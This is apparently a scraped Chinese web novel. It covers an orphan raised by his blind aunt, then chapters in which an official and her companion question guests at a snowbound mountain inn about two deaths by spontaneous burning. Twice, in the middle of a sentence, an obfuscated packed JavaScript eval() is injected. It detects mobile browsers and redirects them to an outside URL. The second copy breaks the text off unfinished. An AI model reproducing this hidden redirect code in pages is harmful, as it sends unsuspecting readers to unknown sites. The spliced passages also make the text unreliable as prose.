见王魌不慌,陈贤安心地便坐在了他的身边吃果子。可是果子吃到一半,不知何处传来了几声野兽的鸣叫,于是陈贤又开始害怕了起来。 陈贤慌乱地想要离开,王魌按住了他。“野兽离我们还远,不会过来的。我们现在不知道方位,如果找错了方向越走越远的话,阿爹阿娘就更找不到我们了。你相信哥哥,我们一定会回去的。” 等到大人们找到王魌和陈贤的时候,陈贤正在王魌怀里安睡。第二天两个人都挨了罚,趴在长凳上挨打的时候,两个人抬头看一看对方,便都觉得自己身上的巴掌好像没那么痛了。 这样的日子一直持续到了王魌十岁那年。一场突如其来的洪水,带走了王魌的父母和陈贤的父亲。 王魌一夜之间成为了孤儿。正在他不知所措的时候,秦婶带着陈贤拉起了他的手,“孩子,以后你就跟着秦婶一起生活吧。” 秦婶一个人养育着两个孩子,白天去田里耕作,晚上回来做饭洗衣,后来她又养了一批桑蚕,王魌和陈贤在烛火下读书的时候,她便坐在一旁用蚕丝织布。 王魌看着她在烛火下费力织布的样子,说自己不想读书了,想跟着秦婶一起去种田。 秦婶第一次凶了王魌,告诉他不行。 “我们虽然出身农民,但倘若好好读书,亦有机会赴长安太学,或被推举孝廉。你今日若是放弃了读书这条路,便一辈子只能耕田种地,这便是你阿爹阿娘对你的期望吗?你当真要辜负他们吗?” 秦婶不肯答应,王魌也不肯作罢。两个人僵持了许久,周围的邻居也都来劝解,最终还是秦婶败下了阵来。 刚过十岁的王魌每天拎着种地的工具跟在秦婶身后,秦婶本以为他坚持不了多久,却不曾想王魌每天早早便去家门口等她,一日不曾懈怠。 起初陈贤从学堂回来,会拎着水壶去田间看秦婶和王魌,后来有一日,陈贤问王魌,种地是不是比读书好玩,王魌便再也不许陈贤去田中。 他怕陈贤和他一样,动了种地的心思。秦婶那么辛苦,就是想让陈贤能去太学,能被举孝廉。 后来慢慢的,王魌手里那把锄头,从一开始都拿不稳,到可以游刃有余的用来耍剑花。王魌学会了要怎么犁地,要怎么锄地,他学会了辨别种子的好坏,学会了不同的时节该做什么样的事情。 陈贤的书也越读越好,教书先生时常夸他,说这样下去,陈贤被举孝廉是早晚的事情,得知这个消息的当天,秦婶激动的差点哭了出来,王魌杀了一只鸡让陈贤请教书先生一起来吃。 村里人人都夸秦婶有福气,养的两个儿子各有各的能耐,一家人和和美美真美满。 唯一美中不足的,就是秦婶的眼睛因为这几年的日夜劳作,越来越不好了。王魌劝秦婶把养桑蚕换成了养鸡,他还劝秦婶把种地的事情都交给他来做,可秦婶不愿意闲下来。 有一日,王魌去早上去等秦婶一起下田,却不见秦婶出门。王魌推门进去,发现秦婶双目无神地在房中摸索。王魌询问秦婶怎么了,秦婶说,“我看不见了。” 王魌和陈贤请了许多来为秦婶医治眼睛,那些大夫看过之后却都叹气摇头,说没有办法。不信邪的兄弟二人又寻了许多偏方,却都不见效果。 某日,陈贤大清早去敲了王魌家的门,说自己的母亲不见了。 王魌和陈贤四下寻找,才找到了在路边歇脚的秦婶。秦婶说,看着王魌和陈贤每日为她奔走,让她觉得是自己拖累了这两个孩子,所以想自行离开。 王魌和陈贤拉住秦婶的手,王魌说,“婶婶,当初我爹娘离开,是你养育了我长大,如今我已长大,你生了病,就该换我来照顾您。能够有机会报答您的养育之恩,我求之不得,这怎么能叫拖累呢?” 陈贤也跟着说,“阿娘,这些年你一个人拉扯我和魌哥哥长大,你们两个肩负起了家里的一切,只为可以让我安心读书,我书还没有读成,还没有来得及孝敬你,你怎么可以说你拖累了我呢?怎么看,也是我连累了你们两个。” 王魌握住秦婶和陈贤的手,“咱们三个是一家人,互相照顾是应该的,不说什么拖累不拖累的。” 王魌和陈贤背着秦婶回了家,他们答应秦婶以后好好生活,不再到处寻医问药。自此,王魌担过了秦婶从前的活计,陈贤更加发愤读书,秦婶也终于接受了自己眼盲要被照顾的事情。 午饭做好,见陈贤仍在苦读,王魌便取出一份单独给陈贤放在了房门口,接着去院中扶秦婶一起去吃饭。 王魌将碗筷一一在秦婶手边放好,秦婶突然开口,“刚才你在做饭的时候,路过的郑老头跟我说你想娶媳妇儿了?” 王魌猛地呛了一口,“没有,婶婶,你别听他们瞎胡说,我就是随口唱了两句歌,他们乱起哄的。” 秦婶笑了笑,“算起来,你和贤儿也确实到年纪了。都怪婶婶,自从眼睛瞎了之后,就不知道每天过得是哪一年,差点把你和贤儿的终身大事给耽搁了。” 王魌无奈,“婶婶,您别这么说。我真没想过成家的事情,我啊,现在就想先把您照顾好,再看着贤弟早日被举荐孝廉。” “那你跟婶婶说说,你喜欢什么样的姑娘,又看上眼的吗?” “哎呦,我的好婶婶,我真没有。” 秦婶看着虚空,“可是你总要成家的啊。” 王魌扒拉了一口饭菜,“不着急,再等两年再说吧。我现在这个样子,人家女孩儿跟了我,那我就是在拖累人家。” 秦婶的声音严肃了起来,“不许这么妄自菲薄。你年轻孝顺,会种田会养家,咱们阳田谁见了我都夸你,你怎么就拖累别人了?” “而且,我老太太年纪一天比一天大,怕是陪不了你和贤儿多久了,要是你们两个都能有个人相互扶持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516304|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也就放心了。” 王魌皱了皱眉头,“秦婶,你不许瞎说。” 秦婶摇了摇头,“你不用避讳什么,我的身体我自己知道,摸着黑活了这么多年,其实我早就什么都想明白了,我现在啊,过一天算一天,但你和贤儿可不行,你们还年轻,要好好的生活才是。” 秦婶伸出手在空中指了指,“魌儿,我床边的柜子里有四匹纁布,你把它们都取出来吧。” 王魌从柜子里找到了纁布,交给了秦婶。秦婶把纁布一分为二,将其中一半给了王魌。 王魌不明所以,“秦婶,您这是何意?” 秦婶笑了笑,“这些事,按理来说我早就该告诉你和贤儿的,如今,倒也正好。你们在娶亲之前,需要先……” “秦婶,我真的不……” 秦婶按住了王魌,“你先听我说,我把该交待给你交待了,之后该怎么做,要什么时候做,我相信你是个心中有数的孩子。” “娶亲之前,要先找媒人去女方家提亲,如果对方同意了,你就要正式上门求婚。之后你要拿着你和女方的生辰八字,找个先生看看你们两个人合不合。” “算完之后你要把结果告诉对方,若是吉兆,你就带着布帛去,算是正式订婚。之后你要把聘礼送到女方家中去,记住啊,聘礼需要有铜钱、布帛、礼器、家禽以及聘书。” “这纁布是我前几年织的,当时就是想着将来给你和贤儿做聘礼用的。本来还想再多织几匹,只可惜我的眼睛坏了。” “你阿爹阿娘都不在了,秦婶也算是你半个阿娘吧,这布帛我就替你准备了,剩下的,你可就要靠自己了。” 王魌红着眼睛看向秦婶,“婶婶,谢谢你。” 秦婶摇了摇头,“谢什么呀?这些年要不是你帮着我,我和贤儿两个人还不知道该怎么办呢。尤其是我眼瞎了之后,要不是你在,贤儿现在也没法专心读书。你对我和贤儿的照顾,早就超过了我对你的养育。若要说谢,我倒觉得是我和贤儿该谢谢你。” “魌儿,记住了,以后娶了媳妇,一定要好好对待人家。两个人一定要相互照顾,和和美美的走完一生。婚姻啊,难免遇到磕磕绊绊的时候,人家离开自己的家嫁到你家里来,你要多让让对方,能尊重女人,照顾得好自己媳妇的男人,以后才能有出息,你记住了吗?” 虽然秦婶看不见,王魌还是点了点头,“我记住了。” 秦婶说着又摇了摇头,“害,你看我和你交代这个。当年你阿爹可是出了名的对你阿娘好,再看看这些年你这么尽心的照顾我,将来啊,你肯定会对你媳妇好的。” “只不过,既然提起来了,秦婶还有一件事要拜托你。” “婶婶您尽管说,王魌能做到的,一定会尽全力去做。” “若是婶婶离开之前,还没有帮贤儿解决他的终身大事,那日后,你一定要帮帮忙。” “这是自然,婶婶您放心好了。而且我相信,婶婶一定能看到贤弟成家立业那一天的。” 秦婶握了握王魌的手,“贤儿和你不同,他终日埋头于书本,也不常和我交谈,好多时候,我都不知道他在想些什么。我是真的害怕,他这样下去,万一有一天想偏了,走歪了怎么办。” 秦婶叹了口气,“教书先生夸他书读得好,我甚是高兴,可我有的时候又很后悔,他小时候明明是一个和你一样开朗自在的孩子,现在却越来越沉郁了。若是我没有逼他读书,他现在也该和你一样……” 王魌打断了秦婶的话,“婶婶,你别这么想。他现在只是把心思都放在了读书上,想早点学出成绩来而已。等日后他被举荐为孝廉,这项大事了解,他自然就解脱出来了,到时候,他一定会天天陪着您说话的。就像小时候那样‘娘,你给我烙个饼,我饿了。’‘娘,我捡到块大石头,你看好看吗?’‘娘,我抓了两只□□,你给我们烧着吃了吧’。” 王魌学着陈贤小时候的语调说话,逗笑了秦婶。 秦婶悄悄凑近王魌,“趁贤儿不在,你偷偷和婶婶说说,贤儿有没有喜欢的姑娘啊?” 下午太阳偏西之后,王魌又拿着犁镜下到了地里。早上的活还没干完,王魌一向不喜欢把当日的事情拖到第二天。 王魌挥舞着犁镜在地里飞快耕作,突然,他听到了几声微弱的求救声。 王魌顺着声音寻去,在荒林间看见了一个虽然灰头土脸却依然光彩照人的紫衣女子。 该女子嘴唇干裂,脸色苍白地靠躺在一个树下,王魌赶紧回去拿了水给这位女子喂了点。 见那女子唇色恢复,陈魌又拿出干粮递给了她。女子接过向陈魌道谢,王魌突然觉得自己的脸颊有点发热,于是连忙转过了身。 “这位公子,多谢相救,我叫阿紫,你呢?” 9. 云岫山第二夜 夜笼月,山载雪,小楼闲庭相望寒。 又是夜半,云娘店中熟睡的客人们再一次被后院传来的动静吵醒。 听到声音后的商隐之飞快地起身来到窗口,眼前的一幕和前一天晚上的场景一模一样。穿着单衣的男人恍恍惚惚地赤脚行走在雪地上,口中还念念有词。 隔了几个窗户的契苾月发出惊叫,“天啊,不会是明武回来了吧。” 状似痴呆的男人走到前一天明武自燃的位置,然后停了下来。他缓缓转过身来,商隐之看到了他的脸,和他刚才的猜测一样,是明礼。 下一秒,明礼也自燃于蓝色的火焰之中。 商隐之听到隔壁的门似有响动,他连忙出去,看到晏熙已穿戴整齐正准备下楼查看,商隐之拽住了晏熙,“你等等,我和你一起。” 商隐之回房披上裘皮,一回头他在昨夜和晏熙玩樗蒱的桌子上看到了一方罗帕。商隐之将罗帕拿起攥在手中片刻,又将它放回桌上,然后拿着一顶帽子出了门。 商隐之把帽子戴在晏熙的头上,然后招呼她,“走吧。” 后院的白茫茫的雪地中央突兀地出现了一堆燃烧过后的骨块,空气中弥漫着刺鼻的焦臭味,商隐之和晏熙在深一脚浅一脚地跑了过去。 骨块的状态、气味、颜色与前一天的明武完全一致。 后院雪地上只有明礼和他们二人的脚印,除此之外并无其他痕迹,待到温度冷却后,商隐之和晏熙将明礼的骨灰收起来带了回去。 这次没有明礼的大喊大叫,店中众人却还是聚集到了客堂之中。 除了还在沉睡着的丁文元,其他人都到了。他们大多虽衣着还算整齐,头发却都胡乱地散落着。看起来,所有人都是一副刚刚从睡梦中惊醒的样子。 师玄温无力地垂头坐着,他身后站着阿信和顺平,两个人正双手合十悄悄向四方作揖。师玄温旁边的椅子上瑟缩着契苾月,苏云碧则一下一下拍着她的肩膀安抚。张大虎看起来还不是很清醒,他身旁的齐怀章则双目清明,身姿挺拔。李绍成、王嗣、李素织还有杜仲和秋琴则与他们相对而坐。这几人身形紧绷,眼神戒备,尤其是李绍成的眼神,几乎近似凶狠。独自一人酒还未醒的杨远则坐于两方之中。 晏熙悄悄对喜松和福砚耳语几句,两个人便跑了出去。 契苾月眼尾通红,双目似怨似泣,“事到如今,你们还不相信是山魅在作祟吗?” 没有人回答她的问题。有几个人悄悄看向了晏熙,所有人都在等着有人可以给他们一个答案。 李绍成将那凶恶的目光定格在契苾月身上,“你为什么一直揪着山魅不放?你到底是谁?说,是不是你这个毒妇做了什么?” 李素织和王嗣上前拉住了李绍成,契苾月突然笑出了声,“李县令,如今你还觉得,这是人力可为的事情吗?罢了,随便你们信不信,反正,我一向敬重山魅,想必,即使还有下一个人,也不会是我。” 契苾月此言一出,在场的气氛瞬间更加微妙了。 前一晚明武出事,是谁做的虽然尚未有定论,但在众人看来那只不过是一场意外事件,或者说,是明武咎由自取。而今夜明礼又以同样的方式死去,即使明礼和明武同样傲慢无礼,细微的不安、恐惧和怀疑也仍在人群中蔓延开来。 从旁观者变成了当局者,人人开始自危。他们用眼神打量着彼此,开始默默思索,我有没有得罪过山魅,我有没有得罪过在座的某位。 李绍成慢慢握紧了拳头,李素织则不动声色地握住了她父亲的手。 “诸位,请听我说。”晏熙站了出来,“请大家先不要惊慌,此事正在调查之中,我一定会尽快找到真凶,给大家一个结果。现在时间尚早,诸位还是都先回去休息吧。” “我已经有了一些眉目,只是还需进一步调查,我保证,我不会让这云娘店中任何一个无辜之人受到伤害。” 众人三三两两散去,唯独杨远和李素织还留在原地。 李素织看向杨远,“杨公子,你不回去吗?” 杨远宿醉的眼睛直愣愣地看着李素织,“李小姐,你不是没有回去。” 李素织坦然笑笑,“我有话要和晏公子讲,你呢?” 杨远看了一眼晏熙,冷笑一声,“是啊,晏公子清逸俊朗,秉旄仗钺,谁不想和晏公子说话呢。” 商隐之站在晏熙身后,悄悄钩住晏熙的衣袖,然后俯在她耳边“晏公子,我也想和你说说话。” 晏熙的耳朵瞬间泛出了红晕,她回过头给了这个在一旁添乱的商隐之一记眼刀。 杨远的回答让李素织愣了一下,“杨公子,已往不可谏,来者犹可追①。既然你也有话想和晏公子说,那你先请吧。” 杨远起身走到晏熙近旁,“那个……” 商隐之看了看杨远,“成峰兄是不好直接说出口吗?需要我回避一下吗?” 杨远摇了摇头,“不不不,不用,我就是想问问,晏公子到底调查到哪一步了,能确定是人还是山魅做的了吗?” “抱歉,杨公子,现在还不能透露。” 杨远冷哼一声,“那就是还没查清楚。我说,晏公子,都已经死了两个人呢,您还是专心快点查案吧,别再把心思花在别的地方了。” 晏熙眨了眨眼睛,“好的,多谢杨公子的建议,我会的。” 杨远意外地看了一眼晏熙,“态度还挺好。好吧,那我走了,你有空就多查案子啊。” 杨远走后,晏熙走到李素织面前,“李小姐,你有什么话还请讲。” 李素织看了看晏熙身后的商隐之。 商隐之解释道,“李小姐,还请问你是要和晏大人谈论哪个方面?我现在是晏大人的书童,如果你们要谈论的内容和案情有关,那我是一定要在场负责记录的。” “书童?”李素织看起来并不相信,于是向晏熙求证。晏熙点了点头。 “好吧。”李素织笑笑,“真是没想到,商公子居然成了书童。”然后她正色道,“晏公子,关于这两天发生的事情,我有一个猜想。” “请讲。” “我怀疑,这一切都是冲着我的父亲来的,凶手的下一个目标,很有可能就是我的父亲。” 晏熙和商隐之对视一眼,“李小姐为什么这么觉得?” “凶手接连两夜除去了我父亲的两个贴身侍从,现下我父亲身边无人可用,处境被动,还请晏大人一定要护我父亲安全。” “我以为,是明武明礼举止无礼,至于李大人,好歹是朝廷命官……”晏熙顿了顿,“不过你放心,我会注意的。” 李素织起身离开,“那就多谢晏大人了,还请晏大人务必多费心。” 先前不知跑去了哪里的喜松和福砚返回了客堂。 由于身上裹着的衣物较多,两个人跑起来像是福娃娃般一摇一晃,逗笑了商隐之,商隐之将晏熙转向喜松和福砚,笑得上气不接下气,“你快看,那两个糖葫芦回来了。” 喜松和福砚进来后不明所以,喜松一面警惕地看着他家公子一面向晏熙汇报,“我们去看过了,那丁大厨确实在他房中睡着,怎么叫都叫不醒。” 福砚也点点头,“我和喜松试了好多办法,又吵又闹又拍又打,挠了脚底板逗了喉结,可他就是没一点反应。要不是他还有呼吸,我们都怀疑他是不是出事了。” 喜松看着扶着晏熙快要笑晕过的商隐之,“晏公子,我家公子他怎么了?” 晏熙无奈地看了商隐之一眼,“无事,可能是半夜被吵醒的起床气延迟发作了吧。” 商隐之晏熙一行人来到明武和明礼的房间,再次进行了一番搜查,可惜依然什么都没发现。 晏熙自嘲道,“这个凶手心思太缜密了,什么破绽都没留下,再这样下去,我当真要怀疑是山魅做的了。” 商隐之看着晏熙,“晏公子,你说,如果凶手今夜真的还会再作案,会像李小姐说的那样。目标是李县令吗?” 晏熙摇摇头,“我不知道。查了一天,我什么都查出来,还又多了一条人命。” 福砚安慰晏熙,“公子,你别这样说,你已经尽力了,是那凶手太狡猾了。再或者说,凶手如果真的是山魅的话,查不出来也实属正常啊。” 晏熙对福砚笑了笑,“我没事,咱们继续查吧。” 商隐之给喜松和福砚一人写了几个字,让他们去房间练习,然后跟着晏熙找到了契苾月。 苏云碧正端了安神茶给契苾月,见晏熙和商隐之前来询问,放下茶后便告辞离开。 晏熙盯着苏云碧和契苾月看了看,“云娘当真心细如发,心地善良,愿意如此这般照顾孤身一人的契苾月姑娘。” 契苾月笑了笑,“是啊,多亏了云娘愿意照顾我,不然若是任凭我一个人面对这些事情,我怕是要发疯。” “是啊,契苾月姑娘这已经是第三次经历山魅之事了吧。” 契苾月喝了口茶,然后点点头,“是第三次了。” “那不如月姑娘给我二人讲讲之前我们没见过的那桩事如何?” 契苾月疑惑地看向晏熙,“晏公子,这是为何?之前那桩事发生在洛阳,且距今已有十余年。” 晏熙笑了笑,“眼下这案子越查越乱,离谱怪诞,我觉得你说的也有道理,因此想多了解一点儿山魅。” “原来是这样啊,太好了,终于有人愿意相信我说的话了。”契苾月看起来有点儿激动,“晏公子,你知道这种你明明说的都是真的,却有没有人愿意相信的感觉吗?” “那大约是十五六年前吧,那会儿我年纪尚小,具体的时间有点模糊了,只记得那一年,崇文馆里新来了两个校书郎,那二人旗鼓相当,皆龙凤之姿,洛阳城里都说是两位神仙同时下 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契苾月讲完这个故事后,房间一时陷入了寂静。片刻之后,商隐之开口“月姑娘,这位校书郎一家在出事之前,可有得罪过什么人?” 契苾月摇了摇头,“那位校书郎温文尔雅,他的妻子盛夫人待人亲切,他家小儿还不足十岁,能得罪谁呢?”契苾月叹了口气,“这么好的一家人遭此横祸,只能是不小心得罪了哪位神仙精怪吧。” 商隐之皱了皱眉,“那他们可曾出现过如明武明礼一般的痴相?” “有。夜间打更的更夫说,他在半夜遇到校书郎和盛夫人痴痴呆呆地在大街上行走,口中还念念有词。他开始以为自己是没睡醒,后来再想仔细看看,那二人已经离开了。但他认得那衣服,全洛阳只有盛夫人有那样的手艺。” “那你可知道同他一起的另一位校书郎去了什么地方?” 契苾月摇了摇头,“这我就不知道了。” 商隐之继续追问,“所以全洛阳的人都觉得是山魅阿紫在作祟,就没有任何人看到什么可疑的人或物吗?” “没有,因为就是山魅作祟。若不是这件事,我是不会如此笃信如今亦是山魅作祟的。” 一旁的晏熙接过话头,“契苾月姑娘,你既是胡人,为何在洛阳长大?” “我的母亲是胡人,父亲是洛阳人,所以我在洛阳长大。” “年关将近,月姑娘你为何不去洛阳而要来这晋桑县云岫山呢?” 契苾月垂了垂眉,“几年前,我家中父母因得罪了小人,被迫害至死。于是我逃出洛阳,一路奔走,从此四海为家,到处流浪。后来机缘巧合之下,我在年关来到了这家云娘店。云娘得知我无家可归,便收留我同她一起过年。所以这些年,我每到年关便会来此,我已经没有家了,这里就是我的家。” “月姑娘觉得那明武明礼如何?” “粗鄙无礼,傲慢自大。仗着背后有人便无法无天,随意欺辱普通百姓,这样的人,也不怪山魅要惩罚他们。” “那月姑娘觉得李县令如何?” 契苾月愣了愣,“嗯?李县令?” 晏熙点了点头。 “李县令不该如此纵容手下胡作非为的。” “我听云娘说,月姑娘这几日接连受到各种惊吓,晚上睡不好,那你可曾听到或看到什么奇怪的事情?” “是有一件。”契苾月看了看商隐之和晏熙,“那天晚上,就是李县令他们刚来云娘店的那天,我因为明武明礼在席间对我无礼之事而不安,大半夜都没睡着,便想出门走走,结果我在楼道看见李小姐和杨公子在说话。” “我本以为是杨公子喝醉了,李小姐在席间也算是帮我说了话,所以我也想帮帮她,正当我打算上前之时,我听到他们谈及什么‘过去’之类的,思及这二人可能早就相识,此番是在讨论私事,我不便打扰,便独自回房了。” 商隐之看向晏熙,晏熙只是点了点头,“那我可以问一下月姑娘前天和昨天晚上,都做了些什么吗?” “也没做什么特别的。前天晚上宴会散了后我便回了房,想早点睡着把之前的事情都忘了。可是我越想睡着席间之事便越是清晰地出现在我的脑海中,处于无奈,我便去找了云娘,一是为她在席上帮我之事向她道谢,二是希望她能帮我疏解疏解。云娘拿出樗蒱与我二人解闷,但不久我看云娘甚是乏困,于是便告辞了。可是回房之后我还是睡不着,再次出门后便遇到了李小姐与杨公子。大约是时间真的晚了,这次回房之后不久我便睡着了,后来便是被明武的动静吵醒。” “至于昨天晚上,昨天白日里我与诸位相处和谐,也没再与明礼发生龃龉,而且明武已经死了,我也不想再纠结之前之事,所以情绪不似前一夜起伏。再加上前一天晚上没有睡好,所以我晚饭之后回房很快便睡着了。” 商隐之和晏熙起身告辞,“月姑娘,多谢配合,你好好休息吧。” 10. 一夕烟 当时明月在,曾照彩云归。① 从契苾月房间出来后,晏熙陷入了沉思。 “晏公子,你说,当年洛阳校书郎的那起案子,和今日明武明礼的案子,会有关联吗?还是说,校书郎的案子更加印证了是山魅在作祟?” 晏熙沉吟片刻,抬眸盯住商隐之的眼睛,“你觉得呢?” 晏熙的目光有如实质,商隐之感觉自己好像被定在了原地。“当日凶手可以一夜之间火烧校书郎全家,那今日又为何要一个一个动手?” 晏熙收回目光,“云娘店还有几个人没问过,我们接着去问问吧。”商隐之跟在晏熙身后,“那晏公子,我们先去问哪一位啊?”“张大虎。” 张大虎原本在床上躺着补觉,看见晏熙和商隐之来找他,他有点局促的招呼他们二人就坐。 “张大哥你这么紧张做什么,我们只是想问你几个小问题而已。” 张大虎“哎”了两声,“我就是个小猎户,平时不常见官,让二位见笑了。您二位有什么想问的就问吧。” 晏熙笑了笑,“我这个黜陟使啊,算不得什么官,就是恰好可以处理这个案子而已。”晏熙顿了顿,“那天张大哥来到云娘店的时候我正好看见了,你和云娘好像还挺熟悉的?” 张大虎点了点头,“是啊。我和云娘认识有几年了。” “我和云娘认识的那天,也是下着这样的大雪。我是在下雪前上的山,本来想打点猎物好过年,谁承想,一场突如其来的大雪把山路封死了。我那时候追猎物追了有几天了,猎物没打着,身上的干粮也吃完了,我出来打猎的时候都不带银钱,无奈只能找个风小一点的山洞熬着。” “刚开始还好,后来实在是太饿了,我就想着随便去山里打点能吃的东西充充饥,也不知道怎么回事,我走着走着迷迷糊糊就晕倒下去了。” “再醒来的时候,我就躺在现在的张床上。云娘说是阿信发现了倒在路边的我,他们便将我救了回来。我那时候身无分文,云娘看出了我的窘迫,说让我无需担心旁的,安心住着就可以。后来云娘看我还是不安,便告诉我,等我日后上山再将房钱付了就是。” “后来开春我再次上山,顺道手还带了点野猪肉给云娘当作感谢,谁知云娘收下了野猪肉却没有收钱,她说比起银钱她店里更需要野味。从那之后云娘便和我定下规矩,我上山打猎不带银钱,可以直接用野味抵房钱。” “那你对这店中众人应该都很熟悉了吧?” “那是自然,阿信顺平,还有丁大厨和师先生,我都可熟了,云娘是个好人,她手下的人,也是都是好人。” “你之前有见过契苾月姑娘吗?” “见过啊,不过契苾月姑娘一般都是在冬日里来,夏天好像没怎么见到过。” “契苾月姑娘和云娘关系怎么样?” “挺好的啊,亲亲热热就跟姐妹似的。不过也是,云娘那么好的人,跟谁相处都很舒服。” “你之前说,这山里有不少禁忌。” 张大虎捏了捏衣襟,“是啊,每年都有人进山之后就找不到了呢。” 晏熙皱了皱眉头,“这些禁忌具体都有些什么呢?” “具体的啊,我给你想想。每次上山之前,我们这些猎户都需要先祭拜山神,然后拿火把自己烧一遍,避免招引邪物;在山上尤其是深山里,是不能喊名字的,不然被某些东西记住可就麻烦了;然后不可以说不敬大山之类的话,会惹得山神山魅生气;还有白色皮毛的猎物是不可以打的,否则必招来厄运。反正啊,诸如此类的规矩可多了,但你们这些只是偶尔路过的一般都不会碰到。” “原来这云岫山有这么多的规矩啊。”商隐之将这些规矩一一记录下来。 “张大哥,你可以说说自打你来到云娘店之后一直到刚才,你都做了些什么吗?” 张大虎吸了一口气,“这我得好好想想。我是前一天中午来的,我这次运气不错,打到了一头鹿。来了之后本想还是用鹿肉抵房费,谁承想那王大善人看上了我的鹿肉,直接把一整只鹿都给买走了,还说要请大家伙一块儿吃。把鹿卖给他之后我便回房洗漱了一番。” “一直到了用晚膳的时间,我才下楼,我这个人不善言辞,所以我就自个儿吃饭。后来席上闹得大家不欢而散,我也觉得没了意思,便回房休息了。就这样一直到了夜里,我被明武给吵醒。” “第二天大人您出来调查明武的案子,我便……”张大虎说着说着,突然停下来看了一眼商隐之。商隐之悄悄摇了摇头,却被晏熙抓个正着。 晏熙狠狠一拍桌子,“老实说,你们两个干什么了?” 商隐之原本宽厚的肩膀委委屈屈地瑟缩在一起,“我们偷看来着。” 晏熙睁大了眼睛,“偷看?光天化日你们成何体统?我以为你们是正人君子呢。”晏熙一把从商隐之手中抢过他的笔,“我居然还让你来给我当书童。” 商隐之连忙解释,“不是,晏公子您消消气,我们是偷看了你审问秋琴和李小姐,但那也是出于对案件的关心啊。” 张大虎也跟着解释,“真的,晏公子,而且不止是我和商公子,当时好多人呢,店里的人几乎都在。” 晏熙的脸色缓和了下来,“原来是偷看我审讯,我还以为……不过,这也不应该,下次不许了啊。” 商隐之却脸色一变,“什么叫‘这个偷看’?你你你,你想什么呢?你怎么可以把我想得那么……下流。”商隐之从晏熙手里拿回笔,做出一副伤心难过状,“我太委屈了。” “好了,一会我请你吃饭。行了,张大虎还没委屈呢。” 一旁的张大虎苦笑两声。 晏熙接着审问张大虎,“然后呢?” “后来您不是走了吗,我们就散开了。我一直在房内待到了下午,喜松过来找我要不要玩捉迷藏,反正我也无聊,便一同去了。后来吃过晚饭我便回房休息了。然后就是被明礼的动静吵醒,再无其他。” “那这两天,你有没有觉得谁有奇怪的地方?” 张大虎想了想,“没有吧。主要我几乎一直都在自己房中待着,而且其他人我也不怎么认识,就是有奇怪的地方我也看不出来啊。” 下一个被审问的是杨远。杨远大刀阔斧地往椅子上一座,“问吧。” “杨公子为何要在冬天雪日来这云娘店。” 杨远扭头不看晏熙和商隐之,“因为小爷我心情不好,就想找个没人的地方独自待着。” “杨公子心情不好是因为一个女子吗?” 杨远的表情有点别扭,“你问这个干什么?和破案有关系吗?” “要我说,晏公子,您怎么能这么问杨公子呢?你看看杨公子,一表人才、风流倜傥、怀瑾握玉、英姿飒爽,怎么可能为情所伤呢?这世间怎么可能有人不喜欢杨公子呢?如果有的话那那个人一定是眼神不太好。”商隐之口若悬河地忽悠起了杨远。 “你别胡说,她眼睛可漂亮了,亮亮的,像星星一样,眼神一点问题都没有。是我不够好,达不到她家里的要求。”听到商隐之说自己的心上人眼神不好,杨远立刻出声反驳。 “哦,原来是这样啊。杨公子,你来这里多久了?” 杨远转过身来,看着晏熙,“比你早了一点,我是四天前早上来的,你是下午来的。” “可以问一下杨公子为什么偏偏选择要来云娘店吗?” 杨远欲言又止,然后气势汹汹地说道,“哪有那么多为什么?这里安静,我喜欢,就来了。” “那明武明礼的事,杨公子怎么看?” “我怎么知道,不是你在调查吗?你可是答应了我你会尽快找出凶手的,而且你保证了绝对不会再有人受到伤害的哦,男子汉大丈夫,一言既出驷马难追,你可要做到哦。” 晏熙点了点头,“我会尽全力去做的。也就是说杨公子你不觉得是山魅做的?” 杨远摇了摇头,“不能吧,不然那得多吓人啊,我们还不知道要在这里待多久呢,不要说那些不吉利的话。” “那杨公子你这两天都做了些什么啊?” “也没做什么啊,就是睡睡觉,吃吃饭,喝喝酒。” “杨公子能否说的具体一点?就从前天的晚宴开始说起。” “真是麻烦,不过看你们态度这么好,而且是为了破案,那我就和你们说说吧。” “那天晚宴过后我就回房了,不过因为我心里难过,就在房间喝了会儿酒,然后云娘敲门看见我的样子,她便叫来顺平一起陪着我。后来我哭着哭着就睡着了。睡了一会儿我从梦中惊醒,见大家都睡了,我便,便去看了会儿月亮,对,看了会儿月亮。后来月亮也不想搭理我,我越看心里越难受,便又回房了。再后面我就什么都不知道了,直到被明武吵醒。” “至于昨天,我也没干什么,早上回来又睡了一觉,下午和你们玩了会儿捉迷藏,晚上吃晚饭的时候,我,我又看见了天边的月亮,一看见那月亮我心里就难受,一不小心便又喝多了。回房之后我洗了个澡,却不小心在浴桶里睡着了。后来我爬回床上一直睡到了被明礼吵醒。” “那月亮,真就让你那么难过?” 杨远看向晏熙,“你懂什么,我乐意。” “好吧,杨公子,那你有没有发现什么奇怪的地方?” 杨远摇了摇头,“我这几天过得浑浑噩噩的,好多时候都醉着,还真没发现什么。” 晏熙和商隐之起身打算打开,杨远叫住了晏熙。“我看那位李小姐似乎对你有意思,你既然收下了人家的礼物,就好好对她。她是个很优秀的好女孩,你要照顾好她。但若是,你对她没有意思,就请你把东西还给人家,再和人家把话说清楚。” 晏熙正准备说点什么,杨远抢先一步,“你别多想,我只是不想这世上再多一个和我一样伤心的人。仅此而已。” 晏熙点了点头,“多谢杨公子提醒,我也有一句话想告诉你。与其望月长叹,不如上天揽月。若对方心中有你,你当奋发图强终偿愿,但倘若对方心中无你,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 